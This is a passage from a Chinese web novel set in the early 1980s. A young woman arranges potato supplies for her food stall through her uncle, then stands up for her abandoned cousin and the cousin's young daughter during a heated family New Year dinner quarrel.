表嫂的忿忿无人在意,毕竟家里现在还是大舅当家,他乐意招待已故姐姐的孩子们,儿媳妇最多也就只能说几句酸话。 但这也让大舅非常没有面子,表情硬邦邦的,笑不出来。 贺明珠是调节气氛的高手,见气氛僵硬,先是聊了会儿家常,接着便说起了自己最近做的卖饭生意,土豆萝卜消耗量大,隔三差五就要去附近农村集市上找摆地摊的订几百斤土豆。 不知道是因为她现在年纪小脸嫩,还是摊主怠慢老客户,年前最后一次送来的土豆个头奇小无比,还缺斤短两,最要紧的是,发芽土豆占了一多半。 发芽的土豆含有微量生物碱,偶尔少量食用对身体健康影响不大,但架不住吃得多,毒素富集后会引发慢性中毒,造成胃肠损伤。 她不肯接收这批发芽土豆,摊主就在贺家门口耍混,摆明了欺负年轻小姑娘,逼她必须付钱收货。 幸好贺明军在家,他是个混社会的好手,身边有一帮臭味相投的兄弟,就算去了广东也没断联系,不少人指望和他一起去南方赚大钱,经常来贺家找他。 几个年轻气盛的大小伙子往那儿一站,又都是本地人,气势上就胜了一大截。摊主老老实实从地上爬起来,也不敢闹事儿了,带着发芽土豆自觉滚蛋。 虽然没遭受损失,但供货渠道突然断了,贺明珠的小生意立刻就陷入无米下锅的窘境。 还好最近过年,留了几天时间供贺明珠挑选新的供货方。 而经过这次波折,她悟了,谁说手里拿着钱的甲方是爸爸,明明乙方一只手还在捏着甲方的蛋蛋。 甲乙双方实际是共轭父子,互相捏蛋的危险关系,差别也就是一边蛋大耐捏,捏个几下没关系;一边蛋小敏感肌,刮一下皮就痛得惨绝人寰(不是……) 贺明珠这次没防备,被人猴子偷桃捏了把大胯。要不是有过年放假这几天做缓冲,只怕她也要痛不欲生。 她要做餐饮生意,原材料是重中之重,既关系到食品安全和食客健康,又涉及到本就微薄毛利率,如果供货的乙方存心使坏,她这生意也别做了,趁早考学等分配。 但如何找到合适的供货商? 她要求说高也不高,说低也不低,主要是便宜、量大,最关键的是要稳定,不能随便撂挑子。 贺明珠本来还在纠结,但当她一看到大舅,立刻心里就来了主意。 大舅在得知贺明珠开了家小饭店后,先是担忧外甥女会不会被公安以投机倒把的罪名抓起来,然后又心疼外甥女小小年纪就要做生意赚钱还债。 然而,当听到她每天都要采购至少二百斤土豆时,他瞠目结舌,不敢相信听到了什么数字。 “二百斤?这么多!” 贺明珠说:“是啊,这还不够用的呢,要是放开了卖的话,估计这个数字还要翻倍呢。” 话锋一转,她又说:“不过我现在缺原材料供应商,要是过完年还没找着的话,我这点小生意也不好做了,家里的债更难还。” 大舅脑海中做着激烈的思想斗争,一边是几十年来固有的私人做买卖要被割资本主义尾巴的观念,一边是妹妹家里正在面临的债务压力与饭店经营困境。 犹豫良久后,他一咬牙,开口道:“明珠,你看我行不行?” 既然开了口,他一鼓作气地把话说完。 “咱们村也种山药蛋,一亩至少能出三千斤,多的话五六千斤也打不住。地里收回来的山药蛋都在地窖里堆着,多得顿顿吃也吃不完,吃多了还胀气反酸。” “你要是不嫌弃,我替你在村里收山药蛋,一斤按五分算,你看咋样?” 第49章 第49章收购原材料(修) 许大舅的思维十分淳朴。 村里最不缺的就是山药蛋,这恰好是现在自家外甥女最缺的。 不如他来做个中间人,给两边牵上线,村人挣点钱,外甥女买上实惠山药蛋,大家互惠互利,两全其美,多好。 这是好事儿,村里人要是知道了收山药蛋的事儿,怕是他整个正月都别想闲着,到时候每天从早到晚都是扛着麻袋、推着板车来家里送货的乡亲。 自从包产到户后,农民生产积极性被激发,亩产量增加,勉强算是不缺吃喝。 但别看仓里堆满粮食,其实手头特别缺现钱,一分钱一角钱都珍惜得很。 毕竟一辈子面朝黄土背朝天,从地里刨食吃,从来没机会挣工资。偶尔大着胆子去集市上卖鸡蛋鸡肉,和城里人换粮票,还要担心会不会被割资本主义尾巴。 实在不得已,只好出门揣上十斤粮食,必要时当钱来使。 村里的孩子去外地上学,要给学校食堂交粮食,每月都得从家里将沉甸甸的三十斤粮食背到学校。城里人有粮票,就只需要交三十斤的粮票。 以前不是没有人来村里收粮食,都是些胆大包天的私人个体户,敢和国家的粮站抢生意。 村人保守胆小,除了特别急用钱的人家,基本没什么人敢向外人敞开粮仓大门。 但贺明珠就不一样,她是半个村里人,又有自家大舅做中间人,信任度至少有百分之八十。 许大舅是许家村包产到户前的生产队长,现在虽然随着家庭联产承包责任制的施行,没了官面上的职位。 但由于他一向处事公道,为人公正,在村里的威信依旧很高。 再加上贺明珠求购的是土豆,不在统购统销的主粮范畴内,没踩国家红线。 在农民朴实而狡猾的生活智慧中,这属实是有好处没风险的一桩实惠生意。 许大舅没想过从土豆收购生意中捞差价,还在忠肯地给外甥女提建议。 “这事儿你先别在村里声张,我悄悄去种的好的人家打听一下,省得满村的人都来找你卖山药蛋,到时候买谁家的、买多少都是麻烦,弄不好就得罪人。” 贺明珠笑眯眯地听着,等大舅说完了话,她这才开口道: “大舅,我有个主意,不如您听听看行不行。我和村里的人不熟,也不了解各家土豆种的是好是赖,次次让您过来掌眼,也不是长久的办法。干脆我就不和村里人买了,您在村里替我收购,一周一次运到矿上。土豆每斤价格加上五厘钱,算是给您的辛苦费。” 许大舅第一反应就是拒绝。 “不不不,这可不行,我咋能收你的钱!就帮忙买点山药蛋,能有多费事儿,哪就能要你一个小姑娘的钱了?说出去我还怎么见你妈?” 姥爷也说:“一家人哪能说两家话,我每天没事儿干,出去替你收山药蛋去,你舅哪有我懂种地?他才几个岁数,哪会挑好山药蛋?” 许大舅无奈地一抹脸,他都是当爷爷的年纪了,自家亲爹还觉得他是那个嘴上没毛、办事不牢的小青年,连山药蛋也不会挑。 贺明珠心中温暖极了,撒娇地拉住姥爷粗糙苍老的手。 “那会累着您的,我要心疼的,再好的山药蛋也比不上您老人家的健康。再说了,大舅收购土豆也不是件容易事儿,费时费力,要是让大舅干白工的话,我都不好意思再来姥姥家了。” 表嫂听了几人对 话,虽然内心觉得开小饭店不是正经女人该干的事儿,但涉及到钱财,她那点儿腹诽立刻被抛之脑后。 “公爹,我看表妹说得对,亲兄弟还要明算账呢,也就是现在冬天人都闲着,等开了春,地里的活儿都忙不完,哪来的时间管别人家的事儿?表妹懂事儿,咱家也不能扭扭捏捏的。” 她转头又对贺明珠说:“我让你哥帮你买山药蛋,反正家里分的地少,有你大舅就足够了。” 表哥也急忙说:“对,我来就行,没必要找我爹,他得去种地呢,家里的地可离不了人。” 贺明珠听了很不快,大舅都多大年纪了,放在后世都可以领退休金,这对年轻力壮的小两口还想着把种地的重任推到老人身上,自己拈轻怕重,抢着要挣外快的轻松活儿。 她面上不显,笑嘻嘻地说:“那可不行,我就信大舅的眼光。而且大舅还会用秤,手上有准头,不用担心卖家偷斤少量,钱放他那儿我也放心。” 不等表哥夫妻听出话中的意味,贺明珠又说道:“再说了,全村谁不知道表哥是种地的一把好手,割麦子的速度比麦客都快,耕地时牛都累趴下了,他还有力气,全村,啊不,全县都找不出第二个。” 表哥被夸得挺不好意思的,嘴角不自觉地上扬。 “哎呀,那都是以前年轻时候的事儿了,好汉不提当年勇,我现在也就是比一般人会侍弄庄稼,村里拖拉机有个什么问题也是我给修的,有时候农机所的人还来问我呢……” 眼见自家男人被贺明珠三言两语引开了注意力,表嫂不甘地想要开口,将话题重新转回谁来收购山药蛋的问题上。 要按公爹的做法,肯定是先收同村的,同村的收完后才轮到外村。 可她娘家也种山药蛋,虽然种的不好,不舍得买良种不舍得多施肥,山药蛋又小又涩,自家人都不乐意吃。 但要是能卖给表妹的小饭店。那不就变废为宝了吗? 表嫂心里转着各种念头,拍婴儿的手轻一下重一下,小表侄本来都快睡着了,硬生生被亲妈拍醒,要哭不哭地瘪着嘴。 正当表嫂要再提让表哥负责收购的事时,大舅妈两手端着菜,用肩膀掀开门帘,招呼众人吃饭。 为了迎接久违的外甥们,以及作为对他们失父又失母的安慰,大舅年前就找杀年猪的人家买了半颗猪头,又狠狠心割了一刀肥膘肉,加上自家养的鸡,这顿饭可以说是相当丰盛了。 大舅妈是实在人,没想过克扣外甥们的嘴,不仅没把肉藏起来,甚至连贺明珠他们带来的两条羊腿也一并炖好端上了桌。 炕桌边,贺明珠和贺小弟坐在姥姥姥爷中间的风水宝地,贺家两兄弟挨着两位老人依次入座,接着是表哥夫妻。 大舅坐在炕边,离菜不近,属于“够不着站起来吃”的二等陪客席位 大舅妈像任何一个在这片北方土地上成长起来的传统农村女人一样,端着碗站在炕边,对这种不平等的待遇甘之如饴。 贺明珠左右看看,没见大舅的女儿,便问道:“我姐呢?她怎么还不来吃饭?” 大舅妈解释道:“她和你外甥女在厨房吃呢,别管她,咱们吃咱们的。” 贺明珠看了一圈桌上的菜,按她的估算,肉都在桌上了,厨房里也就剩下点汤汤水水,这让人吃什么? 而且这饭菜做得精细,清淡有滋味,土豆萝卜切得大小均匀,一看就不是大把撒盐、随便切块的大舅妈的手艺,明显是从小帮厨的表姐做的菜。 她想到这里,起身下炕,打算把表姐叫进来一起吃饭。 哪有一家人聚餐,厨子被挤兑到厨房不让上桌,反而去吃冷锅剩饭的? 表嫂举着筷子对着桌上的肥肉片子左右开弓,见到贺明珠的动作,她忙里偷闲,咽下口中肥肉片子,不阴不阳地来了一句: “谁家的出嫁女天天带着拖油瓶在娘家白吃白喝的啊?” 第50章 第50章许表姐的前半生(修)…… 贺明珠没搭理表嫂,径直去了厨房,找到正在吃饭的表姐母女。 小女孩坐在灶台旁的小板凳上,乖乖抱着小碗,拿勺子往嘴里舀饭。 表姐蹲在女儿身边,同样抱着一只碗吃饭,并时不时将自己碗里的肉挑出来喂给孩子吃。 见到贺明珠,表姐急忙站了起来,将碗放在灶台上,两只手下意识在身上抹了抹,讪讪地笑着说:“你咋来厨房了?咋不在屋里吃饭?厨房脏,你快回去,别弄脏了新衣裳。” 小女孩也跟着站了起来,怯怯地抬头望着这个陌生的大姐姐。 贺明珠拉住表姐的手,说:“表姐,你不上桌,我这饭吃得不安稳。走,你们都跟我过去吃饭。” 表姐极力拒绝:“不了不了,我就不过去了,我在厨房挺好的,自在,想吃啥就吃啥。再说孩子太小不懂事儿,上桌吃饭给人添麻烦呢。你快去吃吧,别管我了,今天的肉多,你不赶紧吃就没了……” 贺明珠本来以为是长辈不让表姐上桌,但看表姐的反应,却似乎是她自己不愿意和众人一起吃饭。 她不知道这是发生了什么,印象中的表姐还是个爽朗明快的农家姑娘,而不是如今这个拘谨憔悴的疲惫女人。 贺明珠试探着问:“表姐,你是怕表嫂不高兴吗?没事,我在呢,她不敢拿你怎么着的。” 表姐却摇了摇头:“别瞎想,和她没关系,是我觉得厨房吃饭清净。我妈之前让我去屋里吃,我不乐意,他们说了几次没用,也就不说了。” 她顿了顿,又说道:“明珠,我知道你是怕我有啥不好的,没事儿,我真没事儿,你别多心。” 她口口声声说着“没事”,贺明珠却觉得这分明是“有事”。 表姐许巧燕比贺明珠大八岁,从小就带着她玩儿,从编花篮翻手绳到过家家跳皮筋,表姐是她的童年大玩伴。 后来许巧燕上完小学就没再读书,每天在家帮忙喂鸡种地。她手脚勤快,干活麻利,是十里八乡有名的能干姑娘,来提亲的媒婆都快把许家的门槛给踏破了。 她主意大,看不上媒婆介绍的农村男人,嫌他们不爱干净还打老婆,手里有点钱不是买烟买酒就是打牌赌钱,不是过日子的正经人。 许巧燕十六岁时,见到了城里来的下乡知青,文质彬彬,礼貌温和,还讲究什么“绅士风度”,见她从河沟挑水浇田,主动凑过来要替她干活。 她当时还不知道这帮号称要“修地球”的知识青年的本质是肩不能扛手不能提的弱鸡,放心地将挑着两桶水的扁担交给了对方。 没想到知青看着是人模人样的小青年,居然挑不动水桶满满的扁担,摇摇晃晃,勉强走了两步,一个脱力就“哐”地摔倒在地,两桶水撒了个一干二净不说,连着他自己的眼镜腿都折断一条。 许巧燕笑得前仰后合,同时也将这个笨手笨脚的知青记在了心上。 在连续收到一个月情书,又连续一个月和知青偶遇后,她的心终于无可避免地被吸引了。 她不顾家里的反对,和这个叫贾志文的知青结了婚。 婚后,虽然贾志文依然是个肩不能扛手不能提的废物,但他的体贴和甜言蜜语麻痹了许巧燕的脑子,让她心甘情愿地做头人形骡子,家里家外一把抓。 下地 干活的休息空隙,她还要回家给贾志文烧火做饭,自己则顶着烈日再回去挣工分。 即使是她怀孕大着肚子,也没能让贾志文摸一把锄头。 但好日子不长,在他们结婚第二年,也就是女儿出生一年后,国家允许知青回城。 村里没结婚的知青说走就走,连行李也不要,拿了公社发的介绍信,扒上火车就要回家。 结了婚的知青有点麻烦,但也没有那么麻烦。 他们抛弃农村小家,就像抛弃不要的旧行李一样,毫不犹豫,毫无留恋。 但许大舅是生产队长,又是退伍军人,在公社说得上话。要是许大舅拦着不让贾志文回城,他还真回不去。 贾志文就对许巧燕说,等他回去找到工作,就把她和女儿接到城里,让她们也过上吃商品粮的好日子,以后再也不用辛辛苦苦种地纳粮。 他还说女儿像他,聪明,不能在村里小学耽误了,必须得到城里上学,将来考大学。 但现在子女户口随母,女儿是农村户口,不能去市里上学。 等他在城里扎下根了,把许巧燕户口转过来,那样女儿也能跟着把户口转成城里人。 许巧燕心里忐忑不安,但觉得贾志文可以不要老婆,但总不至于不要亲生闺女。 他平时对这个女儿爱极了,每天都要抱在膝上教她背诗,不舍得打不舍得骂,看得像眼珠子一样,和村里男人完全不一样。 她也爱这个头生女,这么聪明漂亮的孩子,不能放农村耽搁了。 许巧燕自己无所谓城市户口,但涉及到女儿,她只想给她最好的。 许巧燕劝许大舅同意女婿回城,大舅拗不过女儿,只好不情不愿地答应。 然而许大舅也不是什么条件都不提:他要求贾志文在回城前,必须和许巧燕去公社领结婚证。 之前他们只按村里的习俗,摆了几桌席,就算是结婚了,根本没办结婚证。 贾志文听了他的要求,脸一下子就绿了。 但他还是答应了。不仅领了结婚证,而且在踏上回家的火车前,继续柔情蜜意地和许巧燕做着夫妻,夜里许下无数个违誓就天打雷劈的誓言。 贾志文回城后,开始时寄来的信还是柔情似水地抱怨父母兄弟对他回家的不欢迎,以及他对妻女的深切思念。 之后信写得越来越短,间隔时间越来越长,语气也越来越硬邦邦,每次写信回来都是要钱。 最后,贾志文写信说许巧燕的户口和粮食关系无法转到城里,两人要么继续分居,要么就离婚。 他不想耽误她的青春,为了她好,忍痛决定要离婚,并要她带着信去公社办理离婚手续。 另外,既然要离婚,家里的粮啊地啊房啊什么的必须得一分为二,让她把属于他的那一半折现,通过邮局寄过来。 许巧燕看完信人都懵了。 等反应过来,她二话不说,把女儿托付给父母,自己打包了几张烙饼,带着结婚证和户口本,坐火车去城里找负心汉算账。 可她到了地方才发现,贾志文从来没告诉过她家里的地址,甚至连信封上的地址都是某某单位,而门卫说压根没有这号人。 在吃完了全部烙饼后,许巧燕在这个偌大的城市没有找到贾志文。 回村后,她整日枯坐屋内,除了给女儿做饭,几乎一动不动。 农村独居女人的院子就像加了诱食剂的狗粮,白天黑夜都有二流子在周围晃悠。 有天晚上,有人爬墙撬锁,要不是邻居家的狗狂吠引来了村人,差点就得手。 许大舅夫妻俩怕女儿出事,把她们母女接到了娘家,方便就近照顾。 但儿媳看不惯了,日日摔盆摔碗,找茬吵架,闹得家里鸡飞狗跳,不得安宁。 她觉得许巧燕母子在娘家吃饭是占了自家的大便宜,加上小姑子的女儿一日日长大,眼见要到上小学的年纪,学费和书本费不得花钱吗? 别管这钱是许大舅出,还是许巧燕自己出,在她眼中,这可都是她儿子的钱! 大舅妈自己没受过婆婆磋磨,自然没有多年媳妇熬成婆的报复心态,从没磋磨过自己的儿媳妇,但没想到,老了老了,反而要受儿媳的气。 不是菜咸了就是菜淡了,要么是尿布洗的不干净闷到她宝贝儿子的小屁股了,总之大舅妈做什么都是错。 气得老太太天天背着人偷偷抹眼泪。 许巧燕好不容易从被背叛被算计的悲愤和抑郁中缓过来,却发现家里的气氛像是装满了火药的木桶,随便一个火星就能引爆。 嫂子看她的眼神像淬了毒,哥哥也很不满意她赖在娘家不走。 许大舅夫妻干脆放出话来,只要他们活一天,这家里就有女儿和外孙女住的地方,其他人别惦记。 好男不吃分家饭,凭个人本事去闯吧。 这话说得表哥夫妻俩的脸都绿了。 许巧燕一边感动到哭,一边在娘家极力减少存在感,平时多干活少吃饭,尽量少在大哥大嫂面前出现,以免刺激到他们本就脆弱的神经。 之前她带着女儿在屋里吃饭,桌上有盆炖鸡肉是给孕妇炖的,小女孩馋的实在受不了,悄悄从边角捞了块干巴巴的鸡脖子,珍惜地吮吸上面的肉汤。 表嫂当场就甩脸子,动作很大地将炖鸡肉拉到自己面前,拿着筷子摔摔打打,说许家人都不是好东西,小孩子都敢和孕妇抢吃的,这日子她不过了! 小女孩被吓哭了,脏兮兮的小手不住抹着眼泪,哭着说:“对不起我再也不敢吃肉了,你别生我妈妈的气,你要骂就骂我吧……” 许巧燕心酸极了。 从那天起,她就带着女儿在厨房吃饭。 许大舅夫妻心疼女儿,给她在厨房留点好菜,量不多,因为表嫂如果觉得桌上菜的份量不对,会突击检查厨房是不是在吃小灶,发现了就大闹一场,闹得所有人心力交瘁。 时间长了,家里人无奈默许了许巧燕带着女儿在厨房单独吃饭,以妥协求清净。 但贺明珠却并不这么觉得。 “表姐,今天是过年,是阖家团圆的日子。如果一家子连吃饭都要分个三六九等,这还能叫一家人吗?”【你现在阅读的是魔蝎小说 moxiexs】 50-60 第51章 第51章炕桌上的争吵(修)…… 贺明珠拽着许巧燕进了屋。 “大哥二哥,你们往里挪点,给表姐和大舅妈腾个位置出来。” 话没说完,贺明珠弯下腰,把许巧燕的女儿抱上了炕,示意贺小弟带着她坐在姥姥姥爷中间。 贺明国不明所以,但选择先听妹妹的,往起身里挪了挪,腾了个位置出来。 贺明军看看贺明珠,又看看表姐一家子,结合进门后所看到的一切,对许家的情况心里有了数,忍不住就是一笑。 他起身从炕上下来,趿拉着鞋,绕到另一边,拽着表哥的胳膊,强行把他拉下了地。 “来,炕上位置不够坐,上有老下有小,我们两个不老不小的就坐凳子吧。” 贺明军常来大舅家,熟练地从堂屋拉进来两把凳子,硬生生按着表哥把他压坐在凳子上。 炕头灶台烧着火,炕上热乎乎的,盘腿坐上去舒服极了;而且这位置离炕桌上的菜近,抢着吃肉也方便。 坐凳子远不如坐炕上,又硬又冷,坐的高度也不够,想夹筷子菜还得站起来。谁家要是招呼客人坐凳子,那和赶客差不多。 贺明军故意把表哥拉下水,以客人的身份逼着他陪着坐凳子,说什么也不能让这小子好过。 放任老婆欺负亲妹,从姑嫂相争中吃好处,什么玩意儿! 表哥天天待在村里,去过最远的地方不过是县城,这辈子哪见识过贺明军这种混过社会的英俊痞子,唯唯诺诺,不敢反抗,哭丧着脸坐在凳子上。 贺明军杀人诛心,还故意去问表嫂:“嫂子,我把哥拉过来陪我坐,你没意见吧?” 这人看起来不好惹,表嫂艰难扯出哭似的笑脸,小声地说:“没,没意见……” 贺明珠和二哥对视一眼,知道二哥是在帮她撑场面,忍不住想笑,勉强才忍住。 她把大舅妈按坐在贺明军空出的位置上,和许大舅、贺明国坐在炕桌的一边;自己则拉着许巧燕,坐在炕桌的另一边。 贺明珠 左手边坐着表嫂,右手边坐着许巧燕。 许巧燕不安地想站起来:“不,不,我就不坐了,你们坐,你们坐……” “坐,干嘛不坐,你怕什么,这家里还有老虎能吃了你不成?” 贺明珠余光瞥见表嫂正气得脑门直冒烟,笑眯眯地安慰许巧燕:“没事儿,有我呢。大过年的,咱们好好聚在一起吃顿团圆饭。” 许大舅没说话,默认了贺明珠的做法。 大舅妈想说点什么,炕桌下被许大舅拽着手腕拦住了。 毕竟那是他亲生的女儿和外孙女,儿子默许儿媳欺负妹妹,他已经憋了一肚子火。 要不是看在儿媳怀孕生子、身体虚弱的份上,他早就要好好收拾一顿这两个不知廉耻的东西了。 姥姥姥爷也不说话,慈爱地看着贺明珠贺明军联手挤兑表哥夫妻。 姥爷摸摸重孙女的小辫子,姥姥把紧张瑟缩的小姑娘搂进怀里。 贺小弟好奇地伸脑袋过去看,大大咧咧地问她:“我怎么没见过你呀?你叫什么名字?” 小姑娘细声细气地说:“我叫灵灵。” 贺小弟指着自己:“我叫贺明华!你以后跟着我,我带你出去玩!” 姥姥笑着说:“这个小舅舅当的,还挺像模像样的。” 听到这话,贺明珠想起来,这俩小的别看年纪相仿,还差着辈分呢。 她转头问许巧燕:“灵灵是什么时候出生的?” 许巧燕正关注着女儿的一举一动,听了问题,下意识回答:“是七八年生的。” 贺明珠笑着一拍手掌:“哈哈,小弟比外甥女小一岁呢!名副其实的‘小’舅舅!” 两个小的竖着耳朵听大人讲话,听到这儿,贺小弟恍然大悟,对灵灵说:“你以后不能叫我名字,你要叫我舅舅!” 灵灵也听到了贺明珠说贺小弟比她小一岁。 今天大人们对她都很亲切,大家都喜气洋洋的。小孩子是最能感知周围气氛的,她难得大着胆子反驳:“我才不叫你舅舅,你比我小,你应该叫我姐姐。” 贺小弟急得抓耳挠腮,当舅舅是多有面子的一件事,他的玩伴中还没有人能当上舅舅的呢,这个舅舅他今天当定了! “我不管,反正我就是你舅舅了,以后出去我罩着你!” 灵灵撅起小嘴:“我才不要你罩着,我妈妈是世界上最厉害的人,我只要妈妈就够了。” 许巧燕看着女儿的眼神柔软极了,像是一泓泉水,温暖而清澈。 可当听到女儿接下来的话,她忍不住笑出了声。 “贺明华,你不许再让我叫你舅舅,不然我就叫你小弟弟!” 煮熟的鸭子眼见要飞走,贺小弟急了:“那我就叫你外甥女!” “小弟弟,小弟弟!” “外甥女,外甥女!” 两个小家伙孩子气的吵架逗得屋里所有人大笑起来。 贺明珠注意到,表姐脸上的愁闷短暂地一扫而空,久违露出了轻松的神色。 孩子的笑是世界上最好的解药,但显然,有人并不这么觉得。 “吵死了!还让不让人吃饭了!” 表嫂一摔筷子,也不顾满桌的客人,指着表哥就骂。 “当初你来我家提亲时是怎么说的?你怎么和我爹妈保证的,是不是说结了婚要让我过上吃香喝辣的好日子?这就是你说的好日子?!” “我嫁到你家天天当牛做马,吃不好睡不好,每天陪你们一家下地干活,这才打了多少粮食,你就把嫁出去的小姑子带回家白吃白喝!我是你家的长工啊?我还是卖给你家了?!” 表哥毫无防备被媳妇指着鼻子骂,先是大怒,眼睛一转就开始认错:“我的错我的错,你千万别生气,生气了要回奶,没奶了咱儿子吃什么?” 不提儿子也罢,提了表嫂更要骂:“你还知道你有个儿子啊!让外人里家里大吃大喝,连吃带拿,你是要饿死你儿子啊?!家里才攒下几个钱就舍得请客吃肉,你干脆割了我的肉去吃吧!” 许大舅的脸涨得通红,这差不多是在指着他的鼻子骂了。 大舅妈焦急地看看表嫂,又看看其他人,笨拙地劝着,又不知要怎么说才能让她平复怒气。 表哥一昧地顺着媳妇的话安抚,是是是,对对对,你骂的都对,是我们家对不起你。 说话时他还故意拿眼睛去看爹娘妹妹,像是在说,你看看,要不是因为爹娘偏心,家里至于闹成这个样子吗? 有人附和,表嫂气焰更加嚣张,从干嚎升级成哭嚎,两条腿岔开,疯狂踢腾,两只手“啪啪啪”地使劲拍炕。 “我怎么这么命苦啊!嫁了个男人是废物,嫁了个人家不顾子孙,我好不容易生的儿子,还比不上外姓的丫头片子,我活着还有什么劲儿,我活不了啊啊啊啊!” 贺明国瞠目结舌,他从没见过坐地骂街的农村泼妇,头一次见着,尴尬得不知如何是好。 贺明军冷眼旁观,当听到表嫂指桑骂槐,说什么“外姓丫头片子”时,他的脸色变得黑沉,慢慢眯起眼睛。 两个小的也被吓着了,贺小弟下意识要去找哥哥姐姐求安慰,灵灵僵硬坐着,明显是被吓着了,想哭又不敢哭。 姥姥焦急道:“可不能这么说,可不能这么说啊……” 姥爷不说话,只是一声接着一声地叹气。 许巧燕一张脸变得煞白,仓皇地下炕,鞋都来不及穿,站在冰冷的地上,哑着嗓子说:“我回去,我不在家住,我现在就回……” 小婴儿被吓着了,哇地一声嚎啕大哭,憋得满脸通红,他爹妈忙着借题发挥唱大戏,竟无一人顾得上安抚孩子。 大舅妈慌张地探身抱起炕上的襁褓,哦哦哦地连声哄着。 表嫂却劈手夺过孩子,一把搡开大舅妈,作势要带着孩子回娘家。 “我不过了,我不过了!你们不让我好过,谁都别想好过!” 大舅妈没防备,推搡下失去平衡,后腰重重磕在炕桌一角,疼得当时脸色就变了。 气氛焦灼到了极致时,大舅突然重重一拍桌子,怒道: “够了!” 屋内顿时一静。 大舅怒气冲冲瞪着儿子儿媳,骂道:“能过就过,不能过就滚!打量着要闹事儿撵走你妹妹,老子偏不遂你的心!都给我滚出去,连亲妹妹都容不下,老子就当没你这个儿子!滚,给我滚!” 一贯好脾气的人发起了火,屋里的人一时都被震住了。 表嫂忘了嚎哭,呆呆地张着嘴,楞在原地不动了。 表哥见情况不对,见亲爹真发火了,急忙甩手打了媳妇一巴掌,骂道:“大过年的也不让人好好吃顿饭,都是你挑拨我们兄妹感情,你这个泼妇!” 他不打人也就算了,这一巴掌下去,像是打开了表嫂身上的开关。 她腾地一下从炕上跳起来,疯了一般,一头撞在男人身上,两只手胡乱地抓挠他的头脸。 “你打我?你还敢打我!” 这是农村泼妇打架的常用姿势,虽然老套但有用,立竿见影的,表哥头上就被拽下来两撮头发,脸上也被挠出好几道红印。 他吃痛,脸色一下就变了,恼得抬手要锤她两下,被人从旁边摁住了。 贺明军铁铸似的手抓在他肩膀上,讽道:“长本事了,还敢打老婆啊?” 表哥还挺委屈的:“她抓我脸……” 贺明军懒得和这种浑人多话,见表嫂被人拉开了,才嫌弃地松开了表哥。 表嫂见打不到表哥了,反身扑在炕上的铺盖卷,呜呜地哭了起来。 屋里的气氛僵硬极了,没人说话,只能听到表嫂一声长一声短的唱戏似的哭声。 如果是普通的客人,现在就该告辞走人,但贺明珠想了想,觉得不能就这么一走了之。 于是她轻轻清了清嗓子,开口打破僵持的氛围。 “大舅大舅妈,对不住,今天的事儿是我惹出来的,如果不是我坚持要让表姐和灵灵上桌吃饭,也不会闹成现在这样。” 听到贺明珠的话,表嫂的哭声一顿,竖起了耳朵听其他人要说什么。 许大舅沉重地说:“和你没关系,是我没管好家里, 你们难得回来探亲一趟,唉……就算没今天的事,这俩牲口也要寻别的理由赶走巧燕。” 大舅妈伤心地背过身,用手背擦着眼泪。 许巧燕走过去,拉着她的手,哽咽着说:“娘……” 大舅妈把她拉到怀里,低低地哭了出来:“我可怜的孩儿啊……” 母女俩哭成一团,灵灵也哭着从炕上爬过去,被她的姥姥和母亲搂在了中间。 贺明珠看着眼圈发热,叹了口气,继续说道:“家家有本难念的经,清官难断家务事。我本来不该插手,但表姐从小带我,我摸泥鳅掉泥塘里,是她不嫌脏把我捞上来的;我被村里的狗追着咬,也是她挥着扫把替我去撵狗,结果自己被狗咬了好几口,现在腿上还留着疤。” 她说:“表姐从小就对我好,我不能在她困难时坐视不管。” 许巧燕哑着嗓子,对贺明珠说:“明珠……” 她想说,明珠你别管,明珠我是嫁出去的女儿泼出去的水,明珠你今天替我出头,得罪了我哥嫂,以后还怎么和母家的亲戚来往? 贺明珠没给她说话的机会。 “姐,你先让我说完。” “表嫂,你嫌表姐带着孩子住娘家,恨不得把她们母女扫地出门——可你有没有想过,这不是什么所谓的娘家,这就是表姐的家。她在这儿长大,有她的亲人,有她的朋友,家里的鸡和狗认识她,田里的每块石头也认识她。她不是什么客人,她也是家里的主人。” 表嫂也顾不上哭了,爬起来对着贺明珠怒目而视。 夫妻同心,即使刚打完架的夫妻也是一条心。 表哥马上就反驳道:“什么家的主人啊,她都结婚了,她有她自个儿的家,这当然是她娘家,偶尔回来一趟就得了,还真想跟大姑娘似的住娘家白吃白喝啊?再说了,村里有村里的规矩,爹妈老了就是我当家,你别拿城里的规矩吓唬人。” 这话说得恶心人,贺明珠把炮火对准了他:“白吃白喝?你也好意思说这话!” “表姐没嫁人时天天下地干活,你一个大男人反而隔三差五的偷懒,她挣的工分可不比你少,说起来白吃白喝,还不一定是谁白吃白喝呢!” “就算是嫁了,表姐自己种地打的粮食除了留够自己家吃的,剩下的可都拿到了这边,就是因为她怕你结婚后家里人口多,粮食不够吃。不指望你们夫妻记她的好,但也不至于落井下石吧!” “当初你们俩结婚,表嫂家临时加彩礼,家里一分多余钱都没有,亲戚也借了个遍。最后还是表姐把预备去医院生孩子的钱拿出来给你们用,自己在家找赤脚医生接生,差点就难产——可这钱你们现在都没还。” “真要算算账,你们两口子欠表姐的粮食和钱什么时候还?” 表哥自觉理亏,就连表嫂也不哭了。 贺明珠对表嫂说:“你也是个女人,可又看不起女人。你自己在家里受够了重男轻女的苦楚,却不想着改变,只想着把别人也拉下水,把你受过的苦让别的女人也受一遍。” “表姐不欠你们,是你们对不起她。” 第52章 第52章家里的东风西风(修)…… 表嫂哑火了。 不是因为她觉得自己错了,而是她害怕了。 有句话说得好,只有冤枉你的人才知道你有多冤枉。 换句话说,只有占你便宜的人才知道究竟占了你多少便宜。 虽然表嫂自觉占的还不够多,谁家的女儿不是全身心奉献给娘家的?不然生个赔钱货干什么? 但她还年轻,心里还隐隐约约残留一点道德,潜意识知道自己做的不地道。 她心虚。 表嫂并不是一开始就对婆家人展现出强烈的攻击欲,她的野心是一步步被放纵出来的。 如果在刚结婚时,表嫂对小姑子的试探性攻击被制止,或被予以坚决的回击,后续就不会发生许巧燕母女被撵下桌的事。 当界限不分明,就会上演一方对另一方蚕食鲸吞的入侵行为。 许家人都是厚道的好人,可好人有时会助纣为虐。 正是因为他们一步步的退让沉默隐忍,才会纵容,乃至于助长了表嫂的恶劣行径,让她的自我剧烈膨胀,在农家小院里横行霸道,将整个许家都划为她予取予求的地盘。 然而,当遇到了硬茬贺明珠,表嫂膨胀的外在立刻被戳破,露出欺软怕硬的本质。 “表嫂,你到底是恨巧燕表姐,还是恨女人,或者只是恨你自己?” 贺明珠平静地问她。 表嫂却张口结舌,说不出话来,脑子里一团浆糊。 “我……我……” 恨小姑子? 恨女人? 还是恨自己? 